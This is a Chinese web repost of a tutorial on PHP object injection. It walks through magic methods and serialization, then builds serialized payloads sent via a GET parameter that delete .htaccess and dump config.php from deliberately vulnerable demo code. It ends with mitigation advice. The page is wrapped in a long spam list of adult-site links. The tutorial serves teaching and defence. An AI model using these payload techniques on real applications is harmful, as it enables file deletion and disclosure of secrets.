久久福利_99r_国产日韩在线视频_直接看av的网站_中文欧美日韩_久久一

您的位置:首頁技術文章
文章詳情頁

詳析php對象注入漏洞

瀏覽:11日期:2022-09-13 10:45:13

0x00 背景

php對象注入是一個非常常見的漏洞,這個類型的漏洞雖然有些難以利用,但仍舊非常危險,為了理解這個漏洞,請讀者具備基礎的php知識。

詳析php對象注入漏洞

0x01 漏洞案例

如果你覺得這是個渣渣洞,那么請看一眼這個列表,一些被挖到過該漏洞的系統,你可以發現都是一些耳熟能詳的玩意(就國外來說)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除此之外等等一堆系統,八成可能大概在這些還有其他的php程序中還有很多這種類型的漏洞,所以不妨考慮坐下喝杯咖啡并且試著去理解這篇文章。

0x01 PHP類和對象類和變量是非常容易理解的php概念,打個比方,下面的代碼在一個類中定義了一個變量和一個方法。<?php class TestClass { // 一個變量 public $variable = ’This is a string’; // 一個簡單的方法 public function PrintVariable() { echo $this->variable; } } // 創建一個對象 $object = new TestClass(); // 調用一個方法 $object->PrintVariable(); ?> 它創建了一個對象并且調用了 PrintVariable 函數,該函數會輸出變量 variable。如果想了解更多關于php面向對象編程的知識 請點: http://php.net/manual/zh/language.oop5.php0x02 php magic方法php類可能會包含一些特殊的函數叫magic函數,magic函數命名是以符號“__”開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。這些函數在某些情況下會自動調用,比如:__construct 當一個對象創建時調用 (constructor) __destruct 當一個對象被銷毀時調用 (destructor) __ toString當一個對象被當作一個字符串使用為了更好的理解magic方法是如何工作的,讓我們添加一個magic方法在我們的類中。<?php class TestClass { // 一個變量 public $variable = ’This is a string’; // 一個簡單的方法 public function PrintVariable() { echo $this->variable . ’<br />’; } // Constructor public function __construct() { echo ’__construct <br />’; } // Destructor public function __destruct() { echo ’__destruct <br />’; } // Call public function __toString() { return ’__toString<br />’; } } // 創建一個對象 // __construct會被調用 $object = new TestClass(); // 創建一個方法 // ’This is a string’ 這玩意會被輸出 $object->PrintVariable(); // 對象被當作一個字符串 // __toString 會被調用 echo $object; // End of PHP script // php腳本要結束了, __destruct會被調用 ?> 我們往里頭放了三個 magic方法,__construct, __destruct和 __toString,你可以看出來,__construct在對象創建時調用, __destruct在php腳本結束時調用,__toString在對象被當作一個字符串使用時調用。這個腳本會輸出這狗樣:__constructThis is a string__toString__destruct這只是一個簡單的例子,如果你想了解更多有關magic函數的例子,請點擊下面的鏈接:http://php.net/manual/zh/language.oop5.magic.php0x03 php對象序列化php允許保存一個對象方便以后重用,這個過程被稱為序列化,打個比方,你可以保存一個包含著用戶信息的對象方便等等重用。為了序列化一個對象,你需要調用 “serialize”函數,函數會返回一個字符串,當你需要用到這個對象的時候可以使用“unserialize”去重建對象。讓我們在序列化丟進那個例子,看看序列化長什么樣。<?php // 某類 class User { // 類數據 public $age = 0; public $name = ’’; // 輸出數據 public function PrintData() { echo ’User ’ . $this->name . ’ is ’ . $this->age . ’ years old. <br />’; } } // 創建一個對象 $usr = new User(); // 設置數據 $usr->age = 20; $usr->name = ’John’; // 輸出數據 $usr->PrintData(); // 輸出序列化之后的數據 echo serialize($usr); ?> 它會輸出User John is 20 years old.O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'John”;}你可以看到序列化之后的數據中 有 20和John,其中沒有任何跟類有關的東西,只有其中的數據被數據化。為了使用這個對象,我們用unserialize重建對象。<?php // 某類 class User { // Class data public $age = 0; public $name = ’’; // Print data public function PrintData() { echo ’User ’ . $this->name . ’ is ’ . $this->age . ’ years old. <br />’; } } // 重建對象 $usr = unserialize(’O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'John';}’); // 調用PrintData 輸出數據 $usr->PrintData(); ?> 這會輸出User John is 20 years old0x04 序列化magic函數magic函數constructor (__construct)和 destructor (__destruct) 是會在對象創建或者銷毀時自動調用,其他的一些magic函數會在serialize 或者 unserialize的時候被調用。__sleep magic方法在一個對象被序列化的時候調用。 __wakeup magic方法在一個對象被反序列化的時候調用。注意 __sleep 必須返回一個數組與序列化的變量名。<?php class Test { public $variable = ’BUZZ’; public $variable2 = ’OTHER’; public function PrintVariable() { echo $this->variable . ’<br />’; } public function __construct() { echo ’__construct<br />’; } public function __destruct() { echo ’__destruct<br />’; } public function __wakeup() { echo ’__wakeup<br />’; } public function __sleep() { echo ’__sleep<br />’; return array(’variable’, ’variable2’); } } // 創建一個對象,會調用 __construct $obj = new Test(); // 序列化一個對象,會調用 __sleep $serialized = serialize($obj); //輸出序列化后的字符串 print ’Serialized: ’ . $serialized . <br />’; // 重建對象,會調用 __wakeup $obj2 = unserialize($serialized); //調用 PintVariable, 會輸出數據 (BUZZ) $obj2->PrintVariable(); // php腳本結束,會調用 __destruct ?> 這玩意會輸出:__construct__sleepSerialized: O:4:'Test':2:{s:8:'variable';s:4:'BUZZ';s:9:'variable2';s:5:'OTHER';}__wakeupBUZZ__destruct__destruct你可以看到,我們創建了一個對象,序列化了它(然后__sleep被調用),之后用序列化對象重建后的對象創建了另一個對象,接著php腳本結束的時候兩個對象的__destruct都會被調用。更多相關的內容http://php.net/manual/zh/language.oop5.serialization.php0x05 php對象注入現在我們理解了序列化是如何工作的,我們該如何利用它?事實上,利用這玩意的可能性有很多種,關鍵取決于應用程序的流程與,可用的類,與magic函數。記住序列化對象的值是可控的。你可能會找到一套web程序的源代碼,其中某個類的__wakeup 或者 __destruct and其他亂七八糟的函數會影響到web程序。打個比方,我們可能會找到一個類用于臨時將日志儲存進某個文件,當__destruct被調用時,日志文件會被刪除。<?php class LogFile { // log文件名 public $filename = ’error.log’; // 某代碼,儲存日志進文件 public function LogData($text) { echo ’Log some data: ’ . $text . ’<br />’; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor 刪除日志文件 public function __destruct() { echo ’__destruct deletes '’ . $this->filename . ’' file. <br />’; unlink(dirname(__FILE__) . ’/’ . $this->filename); } } ?> 某例子關于如何使用這個類<?php include ’logfile.php’; // 創建一個對象 $obj = new LogFile(); // 設置文件名和要儲存的日志數據 $obj->filename = ’somefile.log’; $obj->LogData(’Test’); // php腳本結束啦,__destruct被調用,somefile.log文件被刪除。 ?> 在其他的腳本,我們可能又恰好找到一個調用“unserialize”函數的,并且恰好變量是用戶可控的,又恰好是$_GET之類的。<?php include ’logfile.php’; // ... 一些狗日的代碼和 LogFile 類 ... // 簡單的類定義 class User { // 類數據 public $age = 0; public $name = ’’; // 輸出數據 public function PrintData() { echo ’User ’ . $this->name . ’ is ’ . $this->age . ’ years old. <br />’; } } // 重建 用戶輸入的 數據 $usr = unserialize($_GET[’usr_serialized’]); ?> 你看,這個代碼調用了 “LogClass” 類,并且有一個 “unserialize” 值是我們可以注入的。所以構造類似這樣的東西:script.php?usr_serialized=O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'John”;}究竟發生了什么呢,因為輸入是可控的,所以我們可以構造任意的序列化對象,比如:<?php $obj = new LogFile(); $obj->filename = ’.htaccess’; echo serialize($obj) . ’<br />’; ?> 這個會輸出O:7:'LogFile':1:{s:8:'filename';s:9:'.htaccess';}__destruct deletes '.htaccess' file.現在我們將構造過后的序列化對象發送給剛才的腳本:script.php?usr_serialized=O:7:'LogFile':1:{s:8:'filename';s:9:'.htaccess”;}這會輸出__destruct deletes '.htaccess' file.現在 .htaccess 已經被干掉了,因為腳本結束時 __destruct會被調用。不過我們已經可以控制“LogFile”類的變量啦。這就是漏洞名稱的由來:變量可控并且進行了unserialize操作的地方注入序列化對象,實現代碼執行或者其他坑爹的行為。雖然這不是一個很好的例子,不過我相信你可以理解這個概念,unserialize自動調用 __wakeup 和 __destruct,接著攻擊者可以控制類變量,并且攻擊web程序。0x06 常見的注入點先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個類型的漏洞,一切都是取決于程序邏輯。打個比方,某用戶類定義了一個__toString為了讓應用程序能夠將類作為一個字符串輸出(echo $obj) ,而且其他類也可能定義了一個類允許__toString讀取某個文件。<?php // … 一些include ... class FileClass { // 文件名 public $filename = ’error.log’; //當對象被作為一個字符串會讀取這個文件 public function __toString() { return file_get_contents($this->filename); } } // Main User class class User { // Class data public $age = 0; public $name = ’’; // 允許對象作為一個字符串輸出上面的data public function __toString() { return ’User ’ . $this->name . ’ is ’ . $this->age . ’ years old. <br />’; } } // 用戶可控 $obj = unserialize($_GET[’usr_serialized’]); // 輸出 __toString echo $obj; ?> so,我們構造urlscript.php?usr_serialized=O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'John”;}再想想,如果我們用序列化調用 FileClass呢我們創建利用代碼<?php $fileobj = new FileClass(); $fileobj->filename = ’config.php’; echo serialize($fileobj); ?> 接著用生成的exp注入urlscript.php?usr_serialized=O:9:'FileClass':1:{s:8:'filename';s:10:'config.php”;}接著網頁會輸出 config.php的源代碼<?php $private_data = ’MAGIC’; ?> ps:我希望這讓你能夠理解。0x07 其他的利用方法可能其他的一些magic函數海存在利用點:比如__call 會在對象調用不存在的函數時調用,__get 和 __set會在對象嘗試訪問一些不存在的類,變量等等時調用。不過需要注意的是,利用場景不限于magic函數,也有一些方式可以在一半的函數中利用這個漏洞,打個比方,一個模塊可能定義了一個叫get的函數進行一些敏感的操作,比如訪問數據庫,這就可能造成sql注入,取決于函數本身的操作。唯一的一個技術難點在于,注入的類必須在注入點所在的地方,不過一些模塊或者腳本會使用“autoload”的功能,具體可以在這里了解http://php.net/manual/zh/language.oop5.autoload.php0x08 如何利用或者避免這個漏洞別在任何用戶可控的地方使用“unserialize”,可以考慮“json_decode“0x09 結論雖然很難找到而且很難利用,但是這真的真的很嚴重,可以導致各種各樣的漏洞。原文:http://securitycafe.ro/2015/01/05/understanding-php-object-injection/
標簽: PHP
相關文章:
主站蜘蛛池模板: 精品中文字幕在线 | 观看av| 亚洲精品午夜国产va久久成人 | 免费av毛片| 成年人网站免费在线观看 | 亚洲毛片在线观看 | 成人免费在线看片 | 成人亚洲一区 | 不卡一区| 国产一区二区精品 | 亚洲欧美日韩精品久久亚洲区 | 99亚洲| 国产成人精品一区二区 | 日韩国产精品一区二区三区 | 日日摸夜夜添夜夜添高潮视频 | 国产96视频| 激情综合网五月婷婷 | 久久精品欧美 | 国产在线精品一区二区三区 | 欧美成年黄网站色视频 | 狠狠的干 | 国产黄色在线观看 | 日本黄a三级三级三级 | 欧美黄色性视频 | 奇米影视77 | 久精品视频 | 国产精品久久国产愉拍 | 亚洲国产精品成人 | 久国久产久精永久网页 | 亚洲午夜一区 | a√免费视频 | 国产美女高潮一区二区三区 | 青草青草久热精品视频在线观看 | 免费看的黄网站 | 国产不卡一二三区 | 亚洲一区久久 | 亚洲精品久久久久久久久久久 | 日本黄色大片免费 | 亚洲综合视频在线观看 | 国产激情偷乱视频一区二区三区 | 亚洲人成中文字幕在线观看 | 一区二区三区视频在线观看 | 国产成人久久精品一区二区三区 | 在线观看av网站永久 | 久久久久久综合 | 中文字幕日韩一区二区不卡 | 亚洲欧美激情视频 | 欧美一二三四成人免费视频 | 视频一区二区三区在线观看 | 色婷婷综合在线 | 欧美黄色片 | 午夜精品一区二区三区免费视频 | 欧美久久视频 | 中文字幕一区二区三区乱码图片 | 国产精品久久久久影院色老大 | 国产精品久久久久久福利一牛影视 | 成人在线小视频 | 91xxx在线观看 | 欧洲成人午夜免费大片 | 在线三级电影 | 国产精选久久 | 天堂网中文在线 | 一级片福利 | 精品视频免费观看 | 国产成人精品一区二区 | 午夜视频网 | 国产一区二区三区在线 | av一二 | 国产精品一码二码三码在线 | 黑人巨大精品欧美黑白配亚洲 | 亚洲一区中文字幕在线观看 | 久色视频在线观看 | 一二三区在线 | 午夜精品久久久久久久久久久久久 | 日韩一区二区视频 | 午夜精品一区二区三区在线视频 | 亚洲不卡高清视频 | 国产精品资源在线 | 日韩在线视频免费看 | 99精品电影 | 欧美成人激情视频 | 波多野结衣福利电影 | 欧美精品三区 | 夜夜超碰 | 操操操影院| av网站观看| 国产精品成人观看视频国产奇米 | baoyu133. con永久免费视频 | 色999国产| 成年视频在线观看福利资源 | 91亚洲精品一区 | 一级在线免费视频 | 久久精品欧美一区二区三区不卡 | 国产综合久久久久久鬼色 | 韩国一区二区视频 | 成人av影视在线观看 | 中文字幕在线免费 | 在线看h | 国产成人一区二区三区 | 伊人网在线视频观看 | 欧美黄色一区 | 欧美日一区二区 | 午夜精品亚洲日日做天天做 | 免费爱爱视频 | 欧美日韩在线视频一区二区 | 国产一区二区影院 | 日韩欧美在线视频 | 欧美久久一级特黄毛片 | 欧美视频成人 | 女人久久久久 | 韩日精品视频 | 国产高清视频 | 在线激情av| 日本成人黄色网址 | 中文字幕一区二区三区不卡 | 国产高清视频 | 欧美激情一区二区三区蜜桃视频 | 欧美aaaaa| 欧美激情一区二区 | 叶山小百合av一区二区 | 亚洲高清视频在线观看 | 成人a视频在线观看 | 国产午夜久久久久 | 韩国一区二区视频 | 欧美黄 片免费观看 | 天天干天天操 | 国产视频9999 | 欧美日本一区 | 亚洲视频中文字幕 | 欧美日韩亚洲国产 | 亚洲另类视频 | 国产精品免费一区 | jjzz18国产 | 国产午夜手机精彩视频 | 伊人网综合视频 | 欧美黄 片免费观看 | 国产激情在线观看视频 | 日韩在线电影 | 欧美国产精品久久久 | av影音在线 | 日韩av免费在线观看 | 精品久 | 一级片在线观看 | 青娱乐网站 | 欧美精品影院 | 久久伊人成人 | 成人免费毛片aaaaaa片 | 99中文视频| 每日更新在线观看av | 黄色精品视频 | 亚洲97| 在线观看免费毛片视频 | 伊人爱爱网 | 自拍偷拍小视频 | 亚洲一区二区三区欧美 | 欧美日韩国产一区二区在线观看 | 欧美日本三级 | 国产激情在线 | 欧美一级高清在线 | 成人久久久久 | 国产精品美女久久久久aⅴ国产馆 | jav成人av免费播放 | 国产最新精品 | 国产精品一区人伦免视频播放 | 国产精选一区二区三区不卡催乳 | 国产精产国品一二三产区视频 | 久久黄色片 | 亚洲精品一区二区三区蜜桃久 | 伊人网伊人 | 国产精品视频免费 | 亚洲精品国产精品国自产 | 日日夜夜精品免费视频 | 在线播放亚洲 | 久久av综合 | 久久久精品网 | 欧美一级高潮片免费的 | a黄视频| 日韩在线不卡一区 | 逼逼av | 97精品国产 | 精品国产一区二区三区在线观看 | 免费看黄视频网站 | 天天天干夜夜夜操 | 亚洲区在线| 一级电影免费看 | 99国产视频| 韩国一区二区视频 | 九九亚洲| 美女视频一区二区三区 | 日韩成人中文字幕 | 久久久久久亚洲精品视频 | 欧洲亚洲精品久久久久 | 五月激情综合网 | 精品欧美一区二区三区久久久 | 亚洲精品66 | 中文字幕亚洲欧美日韩在线不卡 | 国产一二三四在线 | 日韩精品一区二区三区老鸭窝 | 另类久久 | 在线免费观看黄 | 欧美一区久久 | 成人av影视在线观看 | 午夜在线 | 在线婷婷 | 日韩一二三区视频 | 欧美 日韩| 成人夜晚看av | 国产精品伦一区二区三级视频 | 99视频在线 | 国产xxx护士爽免费看 | www.麻豆视频 | 天天干天天曰天天操 | 一区二区亚洲 | 久久久久国 | 亚洲精品一区二区三区中文字幕 | www.涩涩视频 | 亚洲欧美日韩另类精品一区二区三区 | www.av7788.com| 日本免费电影一区 | 亚洲欧美日韩电影 | 成人免费一区二区三区视频网站 | 午夜不卡一区二区 | 亚洲欧美另类久久久精品2019 | 日本一区二区三区免费观看 | 日韩免费在线观看视频 | 国产精品一区二区三区在线 | 欧美一级欧美三级在线观看 | 99热精品在线 | 一级在线看 | 欧美日韩中文字幕在线 | 午夜免费视频网站 | 亚洲在线一区二区 | 韩国精品主播一区二区在线观看 | www.国产| 日韩国产精品一区二区三区 | 日韩精品第一页 | av一道本| 一本一道久久久a久久久精品91 | 国产精品美女久久久久久免费 | 亚洲一道本 | 国产超碰人人模人人爽人人添 | 精品香蕉一区二区三区 | 91精品久久久久久久91蜜桃 | 99久久综合精品五月天 | 中文字幕一区在线观看视频 | 999这里只有是极品 免费的一级黄色片 | 中文字幕1区 | 色接久久 | 国产精品毛片在线 | 国产亚洲精品久久久456 | 日本在线视频观看 | 久久久久久成人 | 国产一级二级毛片 | 在线色av | 免费观看毛片 | 午夜视频在线观看免费视频 | 91精品久久久久久久久 | 亚洲区在线| 啪啪免费网站 | 精品人成| 中文一区| 中文字幕在线影院 | 伊人网视频在线 | 天天爱天天草 | 蜜臀网 | 欧美一级片免费看 | 久久亚洲一区 | 午夜影院免费观看视频 | 精品国产一区二区三区性色av | 日本在线不卡视频 | 久久精品久久久久久久久久久久久 | 久久国产一区二区三区 | 中文字幕日韩久久 | 黑人巨大精品欧美一区免费视频 | 亚洲一区在线日韩在线深爱 | 香蕉视频成人在线观看 | 国产成人精品一区二区三区视频 | 综合自拍偷拍 | 伊人免费视频二 | 亚洲激情一区二区 | 久久久久久久久成人 | 成人免费在线播放 | 91精品国产综合久久久久久丝袜 | 国产色| 精品超碰 | 国产无套丰满白嫩对白 | 国产精品美女www爽爽爽软件 | 国变精品美女久久久久av爽 | 国产免费一区二区 | 亚洲精品一区二区在线 | 中文字幕亚洲一区二区三区 | 亚洲国产精品99久久久久久久久 | 国产伦精品一区二区三区四区视频 | 国产精品久久久久久久久久东京 | 国产在线不卡 | 91资源总站| 亚洲电影一区二区三区 | 久久91av| 99草视频 | 成人h漫在线观看 | 国产精品久久二区 | 成人午夜免费视频 | 日韩欧美国产一区二区三区 | 国产精品久久久久久久久久久免费看 | 欧美日韩成人在线 | 国产精品综合 | 一区二区三区视频免费在线观看 | 不用播放器的免费av | 国产精品久久久久久久久久久久午夜片 | 精品国产一区二区三区四区 | 亚洲日本乱码在线观看 | av免费网 | 91视频三区 | 中国一级毛片免费 | 伊人春色网| 欧美a网 | 久久成人国产 | 亚洲视频中文字幕 | 亚洲欧美日韩精品久久亚洲区 | 播放一区 | 91在线观看 | 国产精品毛片一区二区在线看 | 四虎欧美 | 久久免费精品 | 成人综合视频在线 | 一区二区三区视频在线 | 国产久 | 国产电影一区二区在线观看 | 久久久久国产一区二区三区四区 | 视频一区 中文字幕 | 国产精品一区二区三区在线 | 亚洲国产婷婷香蕉久久久久久99 | 久久久蜜桃一区二区人 | 久久艹久久 | 黄色一级在线观看 | 亚洲在线播放 | 九九资源站 | 国产专区一区二区三区 | 国产91精品在线 | 欧美日韩综合精品 | 国产精品一区欧美 | 中文字幕亚洲欧美精品一区四区 | 日韩3级在线观看 | 欧美精品亚洲精品 | 亚洲精品乱码久久久久久不卡 | 久久精品手机视频 | 日本精品视频在线观看 | 羞羞的视频在线观看 | 国产美女啪啪 | 精品一区二区不卡 | 成人国产在线 | 免费视频久久久久 | 精品二区 | 日韩视频一区 | 淫片一级国产 | 成人在线观看中文字幕 | 国产在线视频网站 | 国产精品1区2区在线观看 | 91精品国产高清一区二区三区 | 亚洲aⅴ | 91.成人天堂一区 | 羞羞视频在线免费 | 国产精品美女久久久久久久久久久 | 久久99er6热线精品首页蜜臀 | 日日摸夜夜添夜夜添高潮视频 | 免费的黄色片子 | 99精品欧美一区二区三区 | 自拍偷拍小视频 | 久色91| av在线免费观看网站 | 亚洲一区二区精品视频 | 欧美日韩中文在线观看 | 亚洲精品国产二区 | 欧美成人精品一区二区三区在线看 | 中文字幕在线免费播放 | 亚洲欧洲精品一区二区三区 | 日本一区高清 | 色视频网站在线观看 | 91精品国产乱码久久久久久久久 | 日韩免费一区 | 久久久久久亚洲 | 在线 丝袜 欧美 日韩 制服 | 在线一级视频 | 超碰最新网址 | 国产精品一区一区 | 天天舔天天干天天操 | 青草久操 | 亚洲最色视频 | 欧美在线播放一区二区三区 | 国产日韩一区二区 | 男人天堂视频在线观看 | 国产精品日本一区二区不卡视频 | 国产女人和拘做受在线视频 | 免费观看一级特黄欧美大片 | 欧洲一区二区三区 | 欧美日韩视频在线观看一区 | 国产成人精品一区二区在线 | 性色国产 | 青草视频在线免费观看 | 在线中文av | jlzzjlzz国产精品久久 | 日本黄色一级电影 | 亚洲精品久久 | 日韩av在线一区 | 欧美视频在线播放 | 久一在线 | 人人射人人 | 在线免费观看黄色 | 91精品一区二区三区久久久久久 | 蜜桃av人人夜夜澡人人爽 | 日韩欧美国产精品综合嫩v 亚洲欧美日韩在线 | 欧美三级免费观看 | 亚洲精品欧美视频 | 国产最新精品视频 | 黄色毛片在线观看 | 日韩精品中文字幕一区二区三区 | 免费网站国产 | 嫩草研究院在线观看入口 | 中文字幕成人 | 国产日韩欧美一二三区 | 精品一区二区三区四区五区 | 亚洲男人的天堂在线观看 | 国产高清在线精品一区二区三区 | 天天操综合网 | 国产成人av一区 | www.麻豆视频 | 亚洲精品久久久久久久久久久 | 欧美精品一区二区三区四区 | 最新超碰| 久久国产精品免费一区二区三区 | 欧美中文字幕在线 | 婷婷精品| 日韩美香港a一级毛片免费 国产综合av | 天天久久 | 精品国产一区二区三区不卡蜜臂 | 久久久久国产一区二区三区 | 久久久久久国产精品 | av成人免费在线观看 | 九九久久久 | 国产在线专区 | 国产91精品在线 | 国产一区不卡 | 黄色一级免费观看 | 九九热精 | 草久网 | 亚洲欧美日韩国产综合精品二区 | 国产精品久久久久久亚洲调教 | 最新亚洲黄色网址 | 91麻豆精品国产91久久久资源速度 | 夸克满天星在线观看 | 日韩一区二区福利 | 国产成人午夜精品影院游乐网 | 91精品亚洲 | 久久亚洲一区二区三区四区五区高 | 久久免费精品 | 亚洲国产精品久久 | 欧美日韩精品亚洲 | 久久综合一区二区三区 | 欧美手机在线 | 国产特级毛片 | 成人a网 | 国产日产精品一区二区三区四区 | 欧美日本免费 | 老牛影视av一区二区在线观看 | 日韩av在线不卡 | 久久精品久久综合 | 日本三级不卡 | 久久噜噜噜精品国产亚洲综合 | 久久亚洲精品视频 | 麻豆91在线观看 | 欧美成人精品一区二区男人看 | 亚洲福利国产 | 91免费版在线观看 | 午夜精品视频在线观看 | 日韩精品一区二区三区在线观看 | 亚洲高清电影 | 久久99精品久久久久久青青日本 | 影音在线资源 | 国产激情视频网 | 91免费网 | 欧美福利在线观看 | 久久综合一区二区 | 激情欧美一区二区三区中文字幕 | 亚洲人成人一区二区在线观看 | 精品国产31久久久久久 | 久久免费小视频 | 成人亚洲在线观看 | 男人天堂视频在线观看 | 日本a网 | 欧美一二三四成人免费视频 | 亚洲一区二区三区四区五区中文 | 另类二区 | 日韩欧美在线视频 | 欧美区国产区 | 午夜欧美 | 天天躁人人躁人人躁狂躁 | 久久精品网 | 免费黄色网止 | 刘亦菲的毛片 | 91免费在线视频 | 欧美日韩一区二区三区在线观看 | 日韩一级免费在线观看 | 久久久精品 | 一区二区免费视频 | а√天堂资源中文最新版地址 | 欧美一区二区三区成人 | 91国偷自产一区二区三区亲奶 | 亚洲国产高清视频 | 日韩在线观看高清 | 欧美日韩精品在线观看 | 亚洲久草 | 欧美日韩中文字幕在线 | 亚洲精品成人在线 | 久久三区 | 欧美成人精品一区二区三区 | 国产1区2区3区 | 99久久久无码国产精品 | 天天干天天曰天天操 | 国产激情在线 | 日韩在线视频观看 | 毛片毛片毛片毛片毛片毛片 | 可以在线观看的黄色 | 亚洲精品在| 玖玖综合网 | 成人av网站在线观看 | 激情久久久 | 中文字幕 在线观看 | 免费观看一级特黄欧美大片 | 精品国产三级a在线观看 | 亚洲精美视频 | 中文字幕第31页 | 欧美涩涩网 | 91视频电影 | 日韩视频免费 | 黄色毛片在线观看 | 亚洲精品视频在线免费 | av一二三四 | 欧美视频在线播放 | 亚洲国产精品久久 | 精品在线看 | 欧美极品在线 | 亚洲国产视频一区 | 国产精品欧美一区二区三区 | 麻豆久久久久久 | 日日夜夜精品网站 | 国产精品一区二区三区av | 久久国产亚洲 | av免费在线播放 | 国产一区二区精品在线观看 | 精品久久久久一区二区三区 | 亚洲女人天堂成人av在线 | 成人福利视频 | 色69av| 国产日韩欧美视频 | 欧美久久a| 成人免费视频在线观看 | 91亚洲高清 | 精品免费在线 | 日本久久久久久 | 国产aaaaav久久久一区二区 | 国产中文视频 | 亚洲一区av| 50人群体交乱视频 | 欧美老妇交乱视频 | 免费视频一区 | 岛国av在线 | 欧美日韩高清不卡 | 成人久久精品 | 小草av | 精品永久免费 | 国产91久久精品一区二区 | 天天干天天摸 | 亚洲视频精品在线 | 性色浪潮 | av在线一区二区 | 成人午夜小视频 | 免费观看一区二区三区毛片 | 国产日韩视频在线播放 | 国产精品一区二区三区四区五区 | 一级黄色毛片子 | 国产在线第一页 | 国产成人影院 | 精品久久久久久 | 刺激网 | 精品日韩一区二区三区 | 亚洲a级| 无码日韩精品一区二区免费 | 国产精品久久久久久久久久新婚 | 欧洲亚洲精品久久久久 | 中文字幕亚洲欧美精品一区四区 | 国产一级特黄aaa | 天天爽夜夜爽 | 亚洲国产欧美一区二区三区久久 | 特黄特黄a级毛片免费专区 av网站免费在线观看 | 日韩在线欧美 | 在线精品亚洲欧美日韩国产 | 中文字幕一区在线观看 | 中文字幕精品一区 | 久热热热| 亚洲视频在线观看视频 | 欧美综合激情 | 亚洲午夜电影 | 91在线区 | 日韩毛片在线观看 | 日韩三区视频 | 欧美xxxx网站 | 亚洲综合在线一区二区 | 精品中文一区 | 成人精品电影 | 久久久精| 91精品国产91久久久久久最新 | 91精品国产九九九久久久亚洲 | 国产在线精品一区 | 91在线精品一区二区 | 天天干天操 |